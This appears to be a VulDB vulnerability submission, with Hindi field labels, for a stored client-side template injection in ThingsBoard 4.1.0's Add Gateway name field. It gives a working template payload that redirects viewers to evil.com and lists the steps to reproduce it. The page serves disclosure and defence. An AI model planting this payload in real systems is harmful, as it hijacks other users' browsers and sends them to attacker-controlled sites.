| शीर्षक | ThingsBoard ThingsBoard IoT Platform 4.1.0 Stored Client-Side Template Injection (CSTI) |
|---|
| विवरण | A client-side template injection vulnerability exists in the ThingsBoard IoT platform. By creating a new Gateway with a crafted name containing a template expression, an attacker can inject and execute arbitrary JavaScript in the browser of any user who views the affected gateway.
Payload Used:
{{constructor.constructor('location.href="https://evil.com"')()}}
Steps to Reproduce:
Log in to the ThingsBoard web UI.
Navigate to "Gateways" and click "Add Gateway".
Set the gateway name to: {{constructor.constructor('location.href="https://evil.com"')()}}
Save the gateway.
When a user opens the gateway page or list, the payload is executed, causing a redirect to https://evil.com. |
|---|
| स्रोत | ⚠️ https://drive.google.com/file/d/1cZy-rfQXsF58kJIVs4UXj7usXJuhjZjA/view |
|---|
| उपयोगकर्ता | xhalyl (UID 73655) |
|---|
| सबमिशन | 31/07/2025 03:21 PM (1 वर्ष पहले) |
|---|
| संयम | 17/08/2025 02:44 PM (17 days later) |
|---|
| स्थिति | स्वीकृत |
|---|
| VulDB प्रविष्टि | 320416 [ThingsBoard 4.1 Add Gateway] |
|---|
| अंक | 20 |
|---|